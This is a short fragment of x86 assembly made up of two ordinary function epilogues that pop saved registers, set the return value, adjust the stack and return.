pop edi
pop esi
mov eax, ebx
pop ebp
pop ebx
add esp, 0x18
ret
pop esi
pop ebp
xor eax, eax
pop ebx
add esp, 0x18
ret